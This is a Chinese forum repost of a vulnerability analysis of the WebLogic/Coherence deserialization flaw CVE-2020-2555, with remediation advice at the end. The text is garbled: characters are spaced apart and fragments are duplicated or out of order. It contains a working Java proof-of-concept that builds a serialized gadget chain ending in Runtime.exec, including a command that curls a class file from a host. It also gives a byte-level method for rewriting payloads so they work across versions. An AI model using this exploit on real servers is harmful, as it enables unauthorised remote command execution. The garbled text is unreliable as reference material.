搜索

[26977] 2020-05-01_漫谈-Weblogic-CVE-2020-2555

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-19
2020-05-01_漫谈-Weblogic-CVE-2020-2555 漫 谈 - W e b l o g i c - C V E - 2 0 2 0 - 2 5 5 5 r 4 v 3 z n   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 0 1 背 景           2 0 2 0 年 1 月 ， 互 联 网 上 爆 出 了 w e b l o g i c 反 序 列 化 远 程 命 令 执 行 漏 洞 （ C V E - 2 0 2 0 - 2 5 5 5 ） ， O r a c l e   F u s i o n 中 间 件 O r a c l e   C o h e r e n c e 存 在 缺 陷 ， 攻 击 者 可 利 用 该 漏 洞 再 未 授 权 情 况 下 通 过 构 造 T 3 协 议 请 求 ， 获 取 w e b l o g i c 服 务 器 权 限 ， 执 行 任 意 命 令 。                 漏 洞 曝 光 之 后 ， 互 联 网 中 发 布 几 篇 该 漏 洞 相 关 的 分 析 文 章 以 及 利 用 p o c ， 但 公 布 的 p o c 有 部 分 不 足 之 处 ， 导 致 漏 洞 检 测 效 率 较 低 ， 不 足 之 处 体 现 在 ： 1 、 目 前 所 有 的 利 用 工 具 都 是 通 过 动 态 编 译 进 行 生 产 p o c 文 件 ， 而 且 必 须 要 有 j a v a 环 境 。 2 、 公 布 的 p o c 只 是 针 对 单 独 的 一 个 版 本 有 效 ， 无 法 适 应 多 个 w e b l o g i c 版 本 。 漏 洞 影 响 情 况 ： O r a c l e   C o h e r e n c e   3 . 7 . 1 . 1 7 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 1 . 3 . 0 . 0 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 2 . 1 . 3 . 0 O r a c l e   C o h e r e n c e   &   W e b l o g i c   1 2 . 2 . 1 . 4 . 0 通 过 研 究 发 现   W e b l o g i c   1 0 . 3 . 6 . 0   版 本 不 受 影 响 范 围 内 ， 虽 然 该 版 本 默 认 自 带 了   C o h e r e n c e （ 3 . 7 ） ， 通 过 调 试 发 现 该 版 本 默 认 并 未 启 用   C o h e r e n c e ， 所 以   W e b l o g i c   1 0 . 3 . 6 . 0   不 在 受 影 响 范 围 内 。 注 ： 注 ： 1 .   经 过 大 量 的 测 试 ， 我 们 的 经 过 大 量 的 测 试 ， 我 们 的   P O C   可 稳 定 运 行 在 多 个 操 作 系 统 、 多 个 可 稳 定 运 行 在 多 个 操 作 系 统 、 多 个   w e b l o g i c   版 本 、 多 个 版 本 、 多 个   J D K   版 本 中 。 版 本 中 。 2 .   以 上 测 试 及 分 析 环 境 全 部 基 于 内 部 环 境 。 以 上 测 试 及 分 析 环 境 全 部 基 于 内 部 环 境 。 漏 洞 调 试 分 析 漏 洞 调 试 分 析 本 文 基 于 本 文 基 于   W e b l o g i c   1 2 . 1 . 3   版 本 进 行 研 究 分 析 测 试 。 版 本 进 行 研 究 分 析 测 试 。 调 试 调 试 修 改 目 录     目 录 中     或 者     文 件 ， 加   之 前 加 入   。 拷 贝     目 录 下 所 有 文 件 至 调 试 目 录 ， 并 且     添 加   ： u s e r _ p r o j e c t / d o m a i n s / b i n s e t D o m a i n E n v . c m d s e t D o m a i n E n v . s h i f   % d e b u g F l a g   = =   " f a l s e " % s e t   d e b u g F l a g = t r u e O r a c l e _ H o m e c o h e r e n c e l i b L i b r a r i e s
配 置     方 式 进 行 远 程 调 试 ，   i p   设 置 为 开 启     的 服 务 器   I P ，   端 口 为     ： 漏 洞 利 用 漏 洞 利 用 该 漏 洞 主 要 是 因 为     方 法 内 部 可 通 过   R e m o t e s e t   d e b u g F l a g = t r u e 8 4 5 3 c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g m _ c o m p a r a t o r
  和     可 自 定 义 进 行 设 置 ， 形 成 利 用 链 条 导 致 漏 洞 的 发 生 ， 以 下 为 整 个 利 用 链 条 ： 通 过 利 用 利 用 链 条 ， 可 以 基 于   y s o s e r i a l   中 的   C o m m o n s C o l l e c t i o n s 5   进 行 构 造 利 用   P O C ： 漏 洞 分 析 漏 洞 分 析 该 漏 洞 主 要 是 因 为     触 发 ， 通 过 跟 踪 我 们 可 以 看 到     为     ，   以 及   m _ o A n c h o r T o p G a d g e t   c h a i n :                 O b j e c t I n p u t S t r e a m . r e a d O b j e c t ( )                         B a d A t t r i b u t e V a l u e E x p E x c e p t i o n . r e a d O b j e c t ( )                                 L i m i t F i l t e r . t o S t r i n g ( )                                         C h a i n e d E x t r a c t o r . e x t r a c t ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         C l a s s . g e t M e t h o d ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         R u n t i m e . g e t R u n t i m e ( )                                                         R e f l e c t i o n E x t r a c t o r . e x t r a c t ( )                                                                 M e t h o d . i n v o k e ( )                                                                         R u n t i m e . e x e c ( ) p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   I O E x c e p t i o n ,   C l a s s N o t F o u n d E x c e p t i o n ,   N o S u c h F i e l d E x c e p t i o n ,   I l l e g a l A c c e s s E x c e p t i o n   {                 S t r i n g   c m d   =   " c u r l   h t t p : / / 1 0 . 1 0 . 1 0 . 1 7 2 : 9 9 9 9 / P o c . c l a s s " ;                 c m d   =   " c a l c " ;                 V a l u e E x t r a c t o r [ ]   v a l u e E x t r a c t o r s   =   n e w   V a l u e E x t r a c t o r [ ] {                                 n e w   R e f l e c t i o n E x t r a c t o r ( " g e t M e t h o d " ,   n e w   O b j e c t [ ] {                                                 " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]                                 } ) ,                                 n e w   R e f l e c t i o n E x t r a c t o r ( " i n v o k e " ,   n e w   O b j e c t [ ] { n u l l ,   n e w   O b j e c t [ 0 ] } ) ,                                 n e w   R e f l e c t i o n E x t r a c t o r ( " e x e c " ,   n e w   O b j e c t [ ] { n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   c m d } } ) / /                                 n e w   R e f l e c t i o n E x t r a c t o r ( " e x e c " ,   n e w   O b j e c t [ ] { n e w   S t r i n g [ ] { " / b i n / b a s h " , " - c " ,   c m d } } )                 } ;                 / /   c h a i n                 L i m i t F i l t e r   l i m i t F i l t e r   =   n e w   L i m i t F i l t e r ( ) ;                 l i m i t F i l t e r . s e t T o p A n c h o r ( R u n t i m e . c l a s s ) ;                 B a d A t t r i b u t e V a l u e E x p E x c e p t i o n   e x p E x c e p t i o n   =   n e w   B a d A t t r i b u t e V a l u e E x p E x c e p t i o n ( n u l l ) ;                 F i e l d   m _ c o m p a r a t o r   =   l i m i t F i l t e r . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " m _ c o m p a r a t o r " ) ;                 m _ c o m p a r a t o r . s e t A c c e s s i b l e ( t r u e ) ;                 m _ c o m p a r a t o r . s e t ( l i m i t F i l t e r ,   n e w   C h a i n e d E x t r a c t o r ( v a l u e E x t r a c t o r s ) ) ;                 F i e l d   m _ o A n c h o r T o p   =   l i m i t F i l t e r . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " m _ o A n c h o r T o p " ) ;                 m _ o A n c h o r T o p . s e t A c c e s s i b l e ( t r u e ) ;                 m _ o A n c h o r T o p . s e t ( l i m i t F i l t e r ,   R u n t i m e . c l a s s ) ;                 F i e l d   v a l   =   e x p E x c e p t i o n . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " v a l " ) ;                 v a l . s e t A c c e s s i b l e ( t r u e ) ;                 v a l . s e t ( e x p E x c e p t i o n ,   l i m i t F i l t e r ) ;                 O b j e c t O u t p u t S t r e a m   o b j e c t O u t p u t S t r e a m   =   n e w   O b j e c t O u t p u t S t r e a m ( n e w   F i l e O u t p u t S t r e a m ( " / U s e r s / 0 n i s e / I d e a P r o j e c t s / v u l d e b u g / c v e - 2 0 2 0 - 2 5 5 5 / s r c / m a i n / j a v a / 1 2 2 1 3 0 _ l i n u x _ c a l c . 6 6 6 " ) ) ;                 o b j e c t O u t p u t S t r e a m . w r i t e O b j e c t ( e x p E x c e p t i o n ) ;                 o b j e c t O u t p u t S t r e a m . c l o s e ( ) ;         } c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g m _ o A n c h o r T o p c l a s s s   j a v a . l a n g . R u n t i m e m _ c o m p a r a t o r
  为     接 口 的     实 现 。 核 心 通 过     进 行 触 发 ， 跟 踪 代 码 会 跳 入     ， 并 且 将 每 次 执 行 结 果 作 为 参 数 ， 通 过     进 行 执 行 ， 第 一 次     参 数 值 为   跟 踪 进 入     会 跳 入     ， 最 后 通 过   V a l u e E x t r a c t o r C h a i n e d E x t r a c t o r e x t r a c t o r . e x t r a c t c o m . t a n g o s o l . u t i l . e x t r a c t o r . C h a i n e d E x t r a c t o r # e x t r a c t a E x t r a c t o r [ i ] . e x t r a c t ( o T a r g e t ) o T a r g e t c l a s s   j a v a . l a n g . R u n t i m e a E x t r a c t o r [ i ] . e x t r a c t ( o T a r g e t ) c o m . t a n g o s o l . u t i l . e x t r a c t o r . R e f l e c t i o n E x t r a c t o r # e x t r a c t m e t h o d . i n v o k e
  反 射 执 行 ， 也 就 是 说 开 始 执 行   ， 最 后 讲 执 行 的 结 果 进 行   ， 类 型 为   ， 所 以 整 个 方 法 执 行 的 代 码 为   第 二 次 将   （ 也 就 是   ）   作 为     参 数 值 进 行 传 入 执 行 进 行 循 环   ， 反 射 执 行     ， 最 终 执 行 代 码 为   ， 最 后 执 行 完 毕 结 果 为     类 ， 并 且 将     提 供 下 次 进 行 调 用 执 行 。 j a v a . l a n g . R u n t i m e . g e t R u n t i m e r e t u r n j a v a . l a n g . R u n t i m e j a v a . l a n g . R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " , n e w   C l a s s [ 0 ] ) ; j a v a . l a n g . R u n t i m e . g e t R u n t i m e j a v a . l a n g . R u n t i m e o T a r g e t m e t h o d . i n v o k e i n v o k e j a v a . l a n g . R u n t i m e . c l a s s . g e t M e t h o d ( " g e t R u n t i m e " , n e w   C l a s s [ 0 ] ) . i n v o k e ( n u l l ,   n e w   O b j e c t [ 0 ] ) j a v a . l a n g . R u n t i m e r e t u r n
最 后 通 过     进 行 反 射 执 行 命 令 ， 最 终 执 行 的 代 码 为     达 到 执 行 命 令 的 目 的 ， 弹 出 记 事 本 。 j a v a . l a n g . R u n t i m e . e x e c r u n t i m e . e x e c ( n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } )
w e b l o g i c   1 0 . 3 . 6 w e b l o g i c   1 0 . 3 . 6   版 本 默 认 自 带   c o h e r e n c e _ 3 . 7   ， 但 通 过   D e b u g   调 试 发 现   w e b l o g i c   1 0 . 3 . 6   并 未 启 用   c o h e r e n c e _ 3 . 7   所 以 无 法 针 对   w e b l o g i c   1 0 . 3 . 6   进 行 测 试 ， 但   c o h e r e n c e _ 3 . 7   版 本 中     漏 洞 仍 然 存 在 ， 所 以   c o h e r e n c e   3 . 7   版 本 存 在 漏 洞 但   w e b l o g i c   1 0 . 3 . 6   默 认 情 况 下 不 存 在 该 漏 洞 。 不 足 之 处 不 足 之 处 经 过 分 析 发 现   P O C   很 多 不 足 之 处 ， 导 致 漏 洞 检 测 效 率 变 低 ， 同 时 无 法 进 行 通 过 其 他 语 言 开 发 调 用 。 动 态 序 列 化 问 题 动 态 序 列 化 问 题 如 果   P O C   用 于 非   j a v a   语 言 开 发 的 扫 描 框 架 时 ， 是 非 常 麻 烦 的 要 么 是 将 代 码 集 成   y s o s e r i a l   然 后 通 过 进 程 调 用 的 方 式 动 态 生 成 序 列 化 文 件 ， 但 该 方 法 会 不 断 的 通 过 进 程 调 用 执 行 代 码 ， 会 造 成 很 大 的 资 源 开 销 。 除 了 使 用 这 种 方 法 之 外 还 可 以 通 过 加 载 以 前 的   P O C   进 行 二 进 制 读 取 并 且 替 换 代 码 重 新 生 成 序 列 化 文 件 。 c o m . t a n g o s o l . u t i l . f i l t e r . L i m i t F i l t e r # t o S t r i n g
通 过 研 究 分 析 发 现 ， 修 改 参 数 内 容 时 变 动 的 内 容 主 要 为     字 节 至     的 内 容 信 息 ， 其 中 左 图 的 参 数 为   ， 右 图 的 参 数 为   。 通 过 分 析 相 同   w e b l o g i c   版 本 中 通 过     生 成 的   ， 比 对 其 中 差 异 发 现 参 数 构 造 的 方 式 为 ： 每 个 参 数 的 长 度 转 换 为   1 6   进 制 ， 占 用   2   个 字 节 ， 不 足 用     补 足   +   每 个 参 数 值 的   H e x   码   +   (   7 0   w e b l o g i c   1 2 . 2 . 1 . 3 . 0   版 本 最 后 一 位 参 数   )   + 7 4   （ 作 者 理 解 为 标 识 符 ） ， 所 以 转 换 对 应 情 况 如 下 ：   （   w e b l o g i c   1 2 . 2 . 1 . 3 . 0 ， 需 要 加   7 0   其 他 版 本 不 需 要 ） 对 应 的 转 换 情 况 为 ：   （   w e b l o g i c   1 2 . 2 . 1 . 3 . 0 ， 需 要 加   7 0   其 他 版 本 不 需 要 ） 对 应 的 转 换 情 况 为 ： 了 解 了 参 数 变 动 的 规 律 以 及 对 应 的 字 节 码 ， 我 们 就 可 以 基 于 该 方 式 进 行 动 态 构 建 序 列 化 文 件 。 1 3   5 B   4 C   6 A   6 1   7 6   6 1   2 E   6 C   6 1   6 E   6 7   2 E   5 3   7 4   7 2   6 9   6 E   6 7   3 B   A D   D 2   5 6   E 7   E 9   1 D   7 B   4 7   0 2   0 0   0 0   7 8   7 0   0 0   0 0   0 0   0 3   7 4   0 0 0 0   0 4   6 5   7 8   6 5   6 3   7 0   7 0   7 6   7 2   0 0   1 1   6 A   6 1   7 6   6 1   2 E   6 C   6 1   6 E   6 7   2 E   5 2   7 5   6 E   7 4   6 9   6 D   6 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0   7 8   7 0 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " c a l c " } c o h e r e n c e . j a r p a y l o a d 0 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " n o t e p a d " } 0 0   0 3   6 3   6 D   6 4   7 4   0 0   0 2   2 F   6 3   7 4   0 0   0 7   6 E   6 F   7 4   6 5   7 0   6 1   6 4     7 0   7 4 0 0   0 3     =   " c m d " . l e n g t h ( ) 6 3   6 D   6 4   =   " c m d " 7 4 0 0   0 2   =   " / c " . l e n g t h ( )   2 F   6 3   =   " / c " 7 4 0 0   0 7   =   " n o t e p a d " . l e n g t h ( ) 6 E   6 F   7 4   6 5   7 0   6 1   6 4   =   " n o t e p a d " 7 0 7 4 n e w   S t r i n g [ ] { " c m d " ,   " / c " ,   " c a l c " } 0 0   0 3   6 3   6 D   6 4   7 4   0 0   0 2   2 F   6 3   7 4   0 0   0 4   6 3   6 1   6 C   6 3   7 0   7 4 0 0   0 3     =   " c m d " . l e n g t h ( ) 6 3   6 D   6 4   =   " c m d " 7 4 0 0   0 2   =   " / c " . l e n g t h ( )   2 F   6 3   =   " / c " 7 4 0 0   0 4   =   " c a l c " . l e n g t h ( ) 6 3   6 1   6 C   6 3     =   " c a l c " 7 0 7 4
测 试 中 使 用 的 各 个 版 本 生 产   P O C   序 列 化 文 件 存 放 在   C V E - 2 0 2 0 - 2 5 5 5     目 录 中 。 版 本 版 本 文 件 名 文 件 名 描 述 描 述 操 作 系 统 操 作 系 统 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 _ p i n g . 6 6 6 p i n g W i n d o w s 1 2 . 1 . 3 . 0 . 0 1 2 1 3 0 0 . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ l i n u x _ c a l c . 6 6 6 c a l c L i n u x 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ l i n u x _ c u r l . 6 6 6 c u r l L i n u x 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 2 . 1 . 3 . 0 1 2 2 1 3 0 . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ c a l c . 6 6 6 c a l c W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ l i n u x _ c a l c . 6 6 6 c a l c L i n u x 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ l i n u x _ c u r l . 6 6 6 c u r l L i n u x 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 _ n o t e p a d . 6 6 6 n o t e p a d W i n d o w s 1 2 . 2 . 1 . 4 . 0 1 2 2 1 4 0 . 6 6 6 c a l c W i n d o w s C o h e r e n c e   版 本 问 题 版 本 问 题 在 研 究 测 试 时 ， 通 过 某 一 个   C o h e r e n c e   版 本 生 成 的 序 列 化 文 件 ， 无 法 适 用 于 多 个 版 本 ， 以 下 为 多 版 本 的 详 细 测 试 情 况 ： p o c   生 成 版 本 生 成 版 本 测 试 版 本 测 试 版 本 是 否 成 功 是 否 成 功 1 2 . 1 . 3 . 0 . 0 1 2 . 1 . 3 . 0 . 0 是 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 3 . 0 否 1 2 . 1 . 3 . 0 . 0 1 2 . 2 . 1 . 4 . 0 否 1 2 . 2 . 1 . 3 . 0 1 2 . 1 . 3 . 0 . 0 否 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 3 . 0 是 1 2 . 2 . 1 . 3 . 0 1 2 . 2 . 1 . 4 . 0 否 1 2 . 2 . 1 . 4 . 0 1 2 . 1 . 3 . 0 . 0 否 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 3 . 0 否 1 2 . 2 . 1 . 4 . 0 1 2 . 2 . 1 . 4 . 0 是 可 以 发 现 一 个   P O C   无 法 适 用 于 多 版 本 的   w e b l o g i c   中 ， 针 对 该 情 况 可 以 基 于   w e b l o g i c   序 列 化 文 件 转 换 为 字 节 码 结 合 动 态 序 列 化 技 术 处 理 ， 来 达 到 兼 容 多 个 版 本 的 目 的 。 W e b l o g i c   的 问 题 的 问 题 截 止 截 止   2 0 2 0   年 年   3   月 月   4   日 ， 通 过 日 ， 通 过   O r a c l e   官 方 进 行 下 载 官 方 进 行 下 载   w e b l o g i c   时 ， 通 过 研 究 发 现 该 漏 洞 依 然 存 在 可 以 利 用 （ 所 有 受 影 响 版 本 ） ， 需 要 额 外 安 装 补 丁 。 时 ， 通 过 研 究 发 现 该 漏 洞 依 然 存 在 可 以 利 用 （ 所 有 受 影 响 版 本 ） ， 需 要 额 外 安 装 补 丁 。 如 下 文 件 为 下 文 件 M D 5 值 以 及 下 载 时 间 ： 文 件 名 称 文 件 名 称 M D 5 创 建 时 间 创 建 时 间 f m w _ 1 2 . 1 . 3 . 0 . 0 _ w l s . j a r 8 3 7 8 F E 9 3 6 B 4 7 6 A 6 F 4 C A 5 E F A 4 6 5 A 4 3 5 E 3 ​ 2 0 2 0 ​ - 0 3 ​ - 0 4 ​ f m w _ 1 2 . 2 . 1 . 3 . 0 _ w l s . j a r 6 E 7 1 0 5 5 2 1 0 2 9 0 5 8 A D 6 4 A 5 C 6 1 9 8 D B 0 9 F 7 ​ 2 0 1 7 - 0 8 ​ - 2 1 ​ f m w _ 1 2 . 2 . 1 . 4 . 0 _ w l s . j a r A A 0 9 0 7 1 2 0 6 9 6 8 4 9 9 1 B A 2 7 E 4 D E 9 E D 3 F F 6 ​ 2 0 1 9 - 0 9 ​ - 1 3 ​ c o h e r e n c e . j a r ( 1 2 . 1 . 3 . 0 . 0 ) E 8 0 7 E 8 4 D 3 5 2 3 7 4 E 3 3 D 0 E 2 A 8 C C 6 4 9 5 3 4 A 2 0 1 4 - 0 5 - 1 4 c o h e r e n c e . j a r ( 1 2 . 2 . 1 . 3 . 0 ) 2 3 0 2 E 4 0 8 B C A 7 C 6 A 8 2 0 8 1 A 2 0 C E 0 8 1 1 B 0 E 2 0 1 7 - 0 8 - 1 5 c o h e r e n c e . j a r ( 1 2 . 2 . 1 . 4 . 0 ) B 2 8 E E 4 6 B 9 B 9 B D 5 C 2 4 D F 3 B F E E 1 0 0 7 5 B A 4 2 0 1 9 - 0 9 - 1 2 建 议 目 前 已 经 安 装 最 新 版   w e b l o g i c   的 管 理 员 也 需 排 查 该 漏 洞 ， 如 有 漏 洞 建 议 立 即 安 装 补 丁 或 通 过 修 复 方 案 进 行 修 复 ， 防 止 被 不 法 分 子 利 用 。 修 复 修 复 1 .   临 时 解 决 方 案 ： 禁 用   w e b l o g i c   T 3   协 议 。 2 .   安 装   O r a c l e   更 新 补 丁 ， 需 要 登 录 帐 户 后 下 载 。 f i l e
参 考 参 考 C V E - 2 0 2 0 - 2 5 5 5 ： W e b L o g i c 远 程 代 码 执 行 漏 洞 C V E - 2 0 2 0 - 2 5 5 5 :   R C E   T H R O U G H   A   D E S E R I A L I Z A T I O N   B U G   I N   O R A C L E ’ S   W E B L O G I C   S E R V E R 浅 析 J a v a 序 列 化 和 反 序 列 化 扫 描 下 方 二 维 码 加 入 星 球 和 我 们 一 起 学 习 吧 ！ 扫 描 下 方 二 维 码 加 入 星 球 和 我 们 一 起 学 习 吧 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！                                                                     目 前 目 前 2 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理